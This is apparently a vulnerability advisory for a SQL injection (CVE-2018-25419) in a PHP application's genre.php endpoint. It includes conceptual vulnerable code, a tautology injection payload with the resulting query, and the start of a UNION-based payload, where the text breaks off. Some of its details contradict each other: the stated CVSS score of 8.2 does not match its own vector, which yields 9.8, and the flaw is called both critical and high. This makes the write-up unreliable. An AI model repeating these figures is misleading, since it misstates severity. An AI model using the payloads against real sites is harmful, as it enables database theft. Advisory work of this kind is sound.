CVE-2018-25419

Executive Summary

CVE-2018-25419 is a critical SQL injection vulnerability in AiOPMSD Final 1.0.0, an open-source project management system. The flaw resides in the genre.php endpoint, where the genre parameter is directly concatenated into SQL queries without sanitization or parameterization. An unauthenticated attacker can send crafted GET requests to extract sensitive database information, including usernames, database names, and version details. The CVSS score is 8.2 (High), and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the vulnerability is trivial to exploit.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability. No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact confined to vulnerable component.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: High (I:H) – potential data modification.
• Availability Impact: High (A:H) – possible denial of service via SQL manipulation.

Threat Level: Critical due to unauthenticated remote exploitation and full database compromise.

Deep Dive & Mechanics

The vulnerability exists in genre.php where the genre GET parameter is directly embedded into an SQL query. The application likely uses a function like mysql_query() or mysqli_query() without prepared statements. An attacker can inject SQL syntax via the genre parameter, bypassing authentication and accessing arbitrary tables.

Example vulnerable code snippet (conceptual):

$genre = $_GET['genre'];
$query = "SELECT * FROM items WHERE genre = '$genre'";
$result = mysqli_query($conn, $query);

The attacker can supply a payload like:

genre=' OR '1'='1' -- -

This transforms the query to:

SELECT * FROM items WHERE genre = '' OR '1'='1' -- -'

Returning all rows. For data extraction, UNION-based injection can be used:

genre=' UNION SELECT
